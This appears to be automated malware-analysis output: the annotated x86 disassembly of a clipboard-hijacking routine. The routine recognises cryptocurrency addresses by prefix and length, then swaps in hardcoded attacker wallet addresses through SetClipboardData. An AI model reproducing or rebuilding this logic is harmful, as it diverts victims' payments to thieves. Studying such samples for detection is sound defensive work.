Function at 0x402f1d
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
and dword [ebp - 0x10], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x1c]
mov al, byte [eax]
mov byte [ebp - 0x21], al
inc dword [ebp - 0x1c]
cmp byte [ebp - 0x21], 0
jne 0x402f34
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
movsx eax, byte [eax]
cmp eax, 0x31
je 0x40304c
mov eax, dword [ebp + 8]
movsx eax, byte [eax]
cmp eax, 0x33
je 0x40304c
mov eax, dword [ebp + 8]
movsx eax, byte [eax]
cmp eax, 0x42
je 0x40304c
mov eax, dword [ebp + 8]
movsx eax, byte [eax]
cmp eax, 0x32
je 0x40304c
mov eax, dword [ebp + 8]
movsx eax, byte [eax]
cmp eax, 0x58
je 0x40304c
mov eax, dword [ebp + 8]
movsx eax, byte [eax]
cmp eax, 0x44
je 0x40304c
mov eax, dword [ebp + 8]
movsx eax, byte [eax]
cmp eax, 0x45
je 0x40304c
mov eax, dword [ebp + 8]
movsx eax, byte [eax]
cmp eax, 0x30
je 0x40304c
mov eax, dword [ebp + 8]
movsx eax, byte [eax]
cmp eax, 0x4c
je 0x40304c
mov eax, dword [ebp + 8]
movsx eax, byte [eax]
cmp eax, 0x34
je 0x40304c
mov eax, dword [ebp + 8]
movsx eax, byte [eax]
cmp eax, 0x50
je 0x40304c
mov eax, dword [ebp + 8]
movsx eax, byte [eax]
cmp eax, 0x41
je 0x40304c
mov eax, dword [ebp + 8]
movsx eax, byte [eax]
cmp eax, 0x52
je 0x40304c
mov eax, dword [ebp + 8]
movsx eax, byte [eax]
cmp eax, 0x72
je 0x40304c
mov eax, dword [ebp + 8]
movsx eax, byte [eax]
cmp eax, 0x74
je 0x40304c
mov eax, dword [ebp + 8]
movsx eax, byte [eax]
cmp eax, 0x7a
je 0x40304c
mov eax, dword [ebp + 8]
movsx eax, byte [eax]
cmp eax, 0x47
je 0x40304c
mov eax, dword [ebp + 8]
movsx eax, byte [eax]
cmp eax, 0x55
je 0x40304c
mov eax, dword [ebp + 8]
movsx eax, byte [eax]
cmp eax, 0x45
je 0x40304c
xor al, al
jmp 0x403327
mov eax, dword [ebp + 8]
movsx eax, byte [eax]
cmp eax, 0x34
je 0x403062
mov eax, dword [ebp + 8]
movsx eax, byte [eax]
cmp eax, 0x32
jne 0x403077
cmp dword [ebp - 4], 0x5a
jb 0x40306e
cmp dword [ebp - 4], 0x73
jbe 0x403075
xor al, al
jmp 0x403327
jmp 0x4030ba
mov eax, dword [ebp + 8]
movsx eax, byte [eax]
cmp eax, 0x47
je 0x403098
mov eax, dword [ebp + 8]
movsx eax, byte [eax]
cmp eax, 0x55
je 0x403098
mov eax, dword [ebp + 8]
movsx eax, byte [eax]
cmp eax, 0x45
jne 0x4030a7
cmp dword [ebp - 4], 9
je 0x4030a5
xor al, al
jmp 0x403327
jmp 0x4030ba
cmp dword [ebp - 4], 0x19
jb 0x4030b3
cmp dword [ebp - 4], 0x2d
jbe 0x4030ba
xor al, al
jmp 0x403327
and dword [ebp - 0x18], 0
jmp 0x4030c7
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 4]
jae 0x403131
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x18]
movsx eax, byte [eax]
cmp eax, 0x4f
je 0x4030f9
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x18]
movsx eax, byte [eax]
cmp eax, 0x49
je 0x4030f9
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x18]
movsx eax, byte [eax]
cmp eax, 0x6c
jne 0x403100
xor al, al
jmp 0x403327
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x18]
movsx eax, byte [eax]
push eax
call sub.MSVCRT.dll_isalpha
pop ecx
test eax, eax
jne 0x40312f
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x18]
movsx eax, byte [eax]
push eax
call sub.MSVCRT.dll_isdigit
pop ecx
test eax, eax
jne 0x40312f
xor al, al
jmp 0x403327
jmp 0x4030c0
mov eax, dword [ebp + 8]
movsx eax, byte [eax]
cmp eax, 0x31
je 0x403147
mov eax, dword [ebp + 8]
movsx eax, byte [eax]
cmp eax, 0x33
jne 0x40314e
mov dword [ebp - 8], str.1DYwJZfyGy5DXaqXpgzuj8shRefxQ7jCEw
mov eax, dword [ebp + 8]
movsx eax, byte [eax]
cmp eax, 0x42
jne 0x403160
mov dword [ebp - 8], str.BCedWttszcCs9uThQJBdJeEvi83vQgxrAa
mov eax, dword [ebp + 8]
movsx eax, byte [eax]
cmp eax, 0x32
jne 0x403172
mov dword [ebp - 8], str.228Urw5BHKCiikBcGe37AYVNjJKA6xb4L9RepZ76KasQSSTg1DeertgFr6MNqj3PGR4PGXzCGYQw7UemxRoRxCC97qdga22
mov eax, dword [ebp + 8]
movsx eax, byte [eax]
cmp eax, 0x58
jne 0x403184
mov dword [ebp - 8], str.XxZ274qGCfFyEi2HRS5G1215vEX331Mhc1
mov eax, dword [ebp + 8]
movsx eax, byte [eax]
cmp eax, 0x44
jne 0x403196
mov dword [ebp - 8], str.D78VANgC5hQ3n4BSnon6aq6qnQSViyAmLv
mov eax, dword [ebp + 8]
movsx eax, byte [eax]
cmp eax, 0x45
jne 0x4031a8
mov dword [ebp - 8], str.EZyjJj7M9gP6bnhw3q5N1gAMyQSVXNh533
mov eax, dword [ebp + 8]
movsx eax, byte [eax]
cmp eax, 0x30
jne 0x4031ba
mov dword [ebp - 8], str.0xff0d45f3e2ec83de3b2e069300974732ba1c5d30
mov eax, dword [ebp + 8]
movsx eax, byte [eax]
cmp eax, 0x4c
jne 0x4031cc
mov dword [ebp - 8], str.Lh8F5u2USRj779tQDy6LMYUM6dgPwH3qoP
mov eax, dword [ebp + 8]
movsx eax, byte [eax]
cmp eax, 0x34
jne 0x4031de
mov dword [ebp - 8], str.4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQrhbkDviv3H6fUaKia
mov eax, dword [ebp + 8]
movsx eax, byte [eax]
cmp eax, 0x50
jne 0x4031f0
mov dword [ebp - 8], str.PWGChwvPpdCHyLmURsPgtYCAsqwDAzAsvZ
mov eax, dword [ebp + 8]
movsx eax, byte [eax]
cmp eax, 0x41
jne 0x403202
mov dword [ebp - 8], str.AH2GAaJtWdQqsSJCS14tVUTKivzD7B67fP
mov eax, dword [ebp + 8]
movsx eax, byte [eax]
cmp eax, 0x52
jne 0x403214
mov dword [ebp - 8], str.RaqJaa3iWaRkHvDkDcnfkhFJjSvzHLjuBk
mov eax, dword [ebp + 8]
movsx eax, byte [eax]
cmp eax, 0x72
jne 0x403226
mov dword [ebp - 8], str.rL2zzcnUrDsqPfH6bmbGNG93QYQkDkJ6QV
mov eax, dword [ebp + 8]
movsx eax, byte [eax]
cmp eax, 0x74
je 0x40323c
mov eax, dword [ebp + 8]
movsx eax, byte [eax]
cmp eax, 0x7a
jne 0x403243
mov dword [ebp - 8], str.t1MH943MSkvEcaXiDQJ4GQk9GPaSTkhDh4r
mov eax, dword [ebp + 8]
movsx eax, byte [eax]
cmp eax, 0x47
je 0x403264
mov eax, dword [ebp + 8]
movsx eax, byte [eax]
cmp eax, 0x55
je 0x403264
mov eax, dword [ebp + 8]
movsx eax, byte [eax]
cmp eax, 0x45
jne 0x40329a
mov eax, dword [ebp + 8]
movsx eax, byte [eax]
cmp eax, 0x47
jne 0x403276
mov dword [ebp - 8], str.G18431620
mov eax, dword [ebp + 8]
movsx eax, byte [eax]
cmp eax, 0x55
jne 0x403288
mov dword [ebp - 8], str.U17032720
mov eax, dword [ebp + 8]
movsx eax, byte [eax]
cmp eax, 0x45
jne 0x40329a
mov dword [ebp - 8], str.E18406200
mov eax, dword [ebp - 8]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x2c]
mov al, byte [eax]
mov byte [ebp - 0x31], al
inc dword [ebp - 0x2c]
cmp byte [ebp - 0x31], 0
jne 0x4032a7
mov eax, dword [ebp - 0x2c]
sub eax, dword [ebp - 0x30]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
inc eax
push eax
push 0x2002
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 0x14], eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0xc]
inc eax
push eax
push dword [ebp - 8]
push dword [ebp - 0x10]
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x403325
call dword [sym.imp.USER32.dll_EmptyClipboard]
push dword [ebp - 0x14]
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov al, 1
leave
ret